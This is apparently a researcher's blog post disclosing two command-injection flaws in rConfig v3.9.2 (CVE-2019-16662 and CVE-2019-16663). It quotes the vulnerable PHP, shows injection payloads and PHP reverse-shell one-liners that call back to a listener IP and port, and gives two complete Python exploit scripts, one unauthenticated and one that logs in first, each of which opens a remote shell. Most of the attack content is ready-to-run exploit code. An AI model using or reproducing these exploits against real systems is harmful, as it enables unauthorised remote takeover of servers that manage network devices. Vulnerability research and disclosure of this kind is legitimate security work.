rConfig v3.9.2 authenticated and unauthenticated RCE (CVE-2019-16663) and (CVE-2019-16662)

Estimated Reading Time: 6 minutes

Summary about rConfig

rConfig is an open source network device configuration management utility for network engineers to take frequent configuration snapshots of their network devices.

About the exploit

I was able two detect two remote command execution vulnerabilities in two different files, the first one called “ajaxServerSettingsChk.php” file which suffers from an unauthenticated RCE that could triggered by sending a crafted GET request via “rootUname” parameter which is declared in line #2 and then passed to exec function in line #13 which you can inject it with a malicious OS command to be executed on the server, this vulnerability was straightforward to exploit and to discover and later on I will show you how to discover it and how to exploit it.

The second vulnerability has been discovered in a file called “search.crud.php” which suffers from an authenticated RCE that could triggered by sending a crafted GET request that contains two parameters, the first one called “searchTerm” and this parameter can contains any value you want , but it should be existed so we can reach the exec function in line #63.

I decided to hunt for a RCE as usual, So I started to list all unsafe functions using a very simple python script I wrote which been used in a previous case studies.

Analyzing the Unauthenticated RCE

After running the script, couple of results showed up to me, I start to check the files andnoticed that there is a file called “ajaxServerSettingsChk.php” located in install/lib/ajaxHandlers/ajaxServerSettingsChk.php which contains:

<?php
$rootUname = $_GET['rootUname'];
$array = array();
/* check PHP Safe_Mode is off */
if (ini_get('safe_mode')) {
    $array['phpSafeMode'] = '<strong><font class="bad">Fail - php safe mode is on - turn it off before you proceed with the installation</strong></font>br/>';
} else {
    $array['phpSafeMode'] = '<strong><font class="Good">Pass - php safe mode is off</strong></font><br/>';
}

/* Test root account details */
$rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2>&1';
exec($rootTestCmd1, $cmdOutput, $err);
$homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4);
if ($homeDirPerms == '0777') {
    $array['rootDetails'] = '<strong><font class="Good">Pass - root account details are good </strong></font><br/>';
} else {
    $array['rootDetails'] = '<strong><font class="bad">The root details provided have not passed: ' . $cmdOutput[0] . '</strong></font><br/>';
}
// reset /home dir permissions
$rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2>&1';
exec($rootTestCmd2, $cmdOutput, $err);

echo json_encode($array);

As we can see in line #2 the scripts save a GET request called ‘rootUname’ and save it to ‘$rootUname’ variable, and in line #12 it concatenate the ‘$rootUname’ with some strings and save it to ‘rootTestCmd1’ variable in line #12 then pass it to exec function in line #13 and do the same for the rest of the lines.

So we just need to inject our command and escape the string on line #13 to get our command executed, and to do that we can use the following payload:

; your command #

To test it I will modify the code and echo the result of the exec function in line #13 then encode the payload and send it to get the following:

And as we can see the result of sending encoded “; id #” command in rootUname is to get the command executed successfully two times.

So, to get a shell we can use the following payload:

;php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");

I used this payload to prevent using nc binary which is not installed by default in CentOS 7.7 mini.

And after encoding and sending the payload using Burp, we will get the following:

We popped a shell !

And to automate the process, I wrote a simple python code to exploit this vulnerability:

#!/usr/bin/python

# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16662
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22

import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 4:
    print "[+] Usage : ./exploit.py target ip port"
    exit()

target = sys.argv[1]

ip = sys.argv[2]

port = sys.argv[3]

payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))

install_path = target + "/install"

req = requests.get(install_path, verify=False)
if req.status_code == 404:
    print "[-] Installation directory not found!"
    print "[-] Exploitation failed !"
    exit()
elif req.status_code == 200:
    print "[+] Installation directory found!"
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload

print "[+] Triggering the payload"
print "[+] Check your listener !"

requests.get(url_to_send, verify=False)

And after running the exploit, we will get the following:

We popped a shell again !

Analyzing the Authenticated RCE

So , one of the other results that showed up on the RCE scanner, I got another interesting piece of code in file called “lib/crud/search.crud.php” contains the following:

    if (isset($_GET['searchTerm']) && is_string($_GET['searchTerm']) && !empty($_GET['searchTerm'])) {
        /* validation */
        $searchTerm = '"' . $_GET['searchTerm'] . '"';
        $catId = $_GET['catId'];
        $catCommand = $_GET['catCommand'];
        $nodeId = $_GET['nodeId'];
        $grepNumLineStr = $_GET['numLinesStr'];
        $grepNumLine = $_GET['noLines'];
        $username = $_SESSION['username'];

        // if nodeId was empty set it to blank
        if (empty($nodeId)) {
            $nodeId = '';
        } else {
            $nodeId = '/' . $nodeId . '/';
        }

        $returnArr = array();

        // Get the category Name from the Category selected    
        $db2->query("SELECT categoryName from `categories` WHERE id = :catId");
        $db2->bind(':catId', $catId);
        $resultCat = $db2->resultset();
        $returnArr['category'] = $resultCat[0]['categoryName'];

        // get total file count
        $fileCount = array();
        $subDir = "";
        if (!empty($returnArr['category'])) {
            $subDir = "/" . $returnArr['category'];
        }

        exec("find /home/rconfig/data" . $subDir . $nodeId . " -maxdepth 10 -type f | wc -l", $fileCountArr);
        $returnArr['fileCount'] = $fileCountArr['0'];

        //next find all instances of the search term under the specific cat/dir	
        $command = 'find /home/rconfig/data' . $subDir . $nodeId . ' -name ' . $catCommand . ' | xargs grep -il ' . $grepNumLineStr . ' ' . $searchTerm . ' | while read file ; do echo File:"$file"; grep ' . $grepNumLineStr . ' ' . $searchTerm . ' "$file" ; done';
        // echo $command;die();
        exec($command, $searchArr);

First of all, we need to make sure to pass the first if statement in line #25 by sending a GET parameter called ‘searchTerm’ so we can get the body of the statement, then we need to send another GET parameter called ”catCommand” which will contain our payload that will be passed later on to exec in line #63 after being concatenated with some string in line #61 and stored to variable called $command which will be executed by exec function in line #63 as I mentioned.

So I will use a payload to test my theory about this vulnerability by using a sleep payload which will try to sleep for 5 seconds and then watch the response time and compare it with the normal one, and by looking at line #61 we can escape the string and execute our command using multiple payloads, and for the testing I will use this one:

""&&$(`sleep 5`)#

And after sending it with Burp, we will get the following:

Sucess! our sleep worked and we can confirm that the command is executed.

There is TONS of ways to test the payload instead of sleep payload that you can use.

And to get a shell I used a php oneliner and constructed it to be usable with the concatenated string to be like the following:

""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'#

And to automate the process, I wrote a simple python code to exploit this vulnerability:

#!/usr/bin/python

# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16663
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22


import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning


requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 6:
    print "[+] Usage : ./exploit.py target username password ip port"
    exit()

target = sys.argv[1]

username = sys.argv[2]

password = sys.argv[3]

ip = sys.argv[4]

port = sys.argv[5]

request = requests.session()

login_info = {
    "user": username,
    "pass": password,
    "sublogin": 1
}

login_request = request.post(
    target+"/lib/crud/userprocess.php",
     login_info,
     verify=False,
     allow_redirects=True
 )

dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)


if dashboard_request.status_code == 200:
    print "[+] LoggedIn successfully"
    payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)
    encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload))
    print "[+] triggering the payload"
    print "[+] Check your listener !"
    exploit_req = request.get(encoded_request)

elif dashboard_request.status_code == 302:
    print "[-] Wrong credentials !"
    exit()

And after running the exploit we will get the following result:

we Popped a shell !

vulnerability disclosure

I reported the two vulnerabilities on 19/09/2019 to rConfig main developer, but without getting any fix release date or even a statement that they will fix the vulnerability.

So after 35 days with no response I released the exploit.

Leave a Reply

Your email address will not be published. Required fields are marked *